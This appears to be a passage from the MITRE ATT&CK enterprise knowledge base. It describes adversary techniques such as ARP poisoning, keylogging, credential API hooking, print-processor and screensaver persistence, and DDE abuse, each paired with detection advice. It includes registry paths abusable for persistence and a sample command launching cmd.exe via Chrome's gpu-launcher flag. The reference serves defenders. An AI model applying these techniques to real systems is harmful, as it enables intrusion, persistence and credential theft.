Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)

15 October 2020

enterprise-attack

Collection, Credential Access

Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.

T1546.016

Event Triggered Execution: Installer Packages

Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton) Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)

27 September 2022

enterprise-attack

Persistence, Privilege Escalation

T1547.008

Boot or Logon Autostart Execution: LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.

T1176

Browser Extensions

Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions. Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek)

16 January 2018

enterprise-attack

Persistence

Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. On macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)

T1584.002

Compromise Infrastructure: DNS Server

Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

01 October 2020

enterprise-attack

Resource Development

Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

T1218.015

System Binary Proxy Execution: Electron Applications

Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)

07 March 2024

enterprise-attack

Defense Evasion

T1608.002

Stage Capabilities: Upload Tool

Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing) Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.

17 March 2021

enterprise-attack

Resource Development

If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).

T1570

Lateral Tool Transfer

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019) Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)

11 March 2020

enterprise-attack

Lateral Movement

Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.

T1602.001

Data from Configuration Repository: SNMP (MIB Dump)

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details. Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

19 October 2020

enterprise-attack

Collection

Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)

T1056.001

Input Capture: Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021) Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

11 February 2020

enterprise-attack

Collection, Credential Access

Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

T1546.001

Event Triggered Execution: Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code> The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.

T1547.012

Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors) Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code> Registry key that points to the DLL. For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

05 October 2020

enterprise-attack

Persistence, Privilege Escalation

Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations. Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.

T1055.014

Process Injection: VDSO Hijacking

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

14 January 2020

enterprise-attack

Defense Evasion, Privilege Escalation

Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

T1056.004

Input Capture: Credential API Hooking

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

11 February 2020

enterprise-attack

Collection, Credential Access

Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)

T1583.005

Acquire Infrastructure: Botnet

Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)

01 October 2020

enterprise-attack

Resource Development

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

T1218.001

System Binary Proxy Execution: Compiled HTML File

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

23 January 2020

enterprise-attack

Defense Evasion

Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. Monitor presence and use of CHM files, especially if they are not typically used within an environment.

T1546.002

Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence: * <code>SCRNSAVE.exe</code> - set to malicious PE path * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.

T1596.002

Search Open Technical Databases: WHOIS

Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

02 October 2020

enterprise-attack

Reconnaissance

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

T1559.002

Inter-Process Communication: Dynamic Data Exchange

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

12 February 2020

enterprise-attack

Execution

Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )

T1059.010

Command and Scripting Interpreter: AutoHotKey & AutoIT

Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey) Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate) These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)

29 March 2024

enterprise-attack

Execution

T1133

External Remote Services

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)

31 May 2017

enterprise-attack

Initial Access, Persistence

Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.

T1110

Brute Force

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.

31 May 2017

enterprise-attack

Credential Access

Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.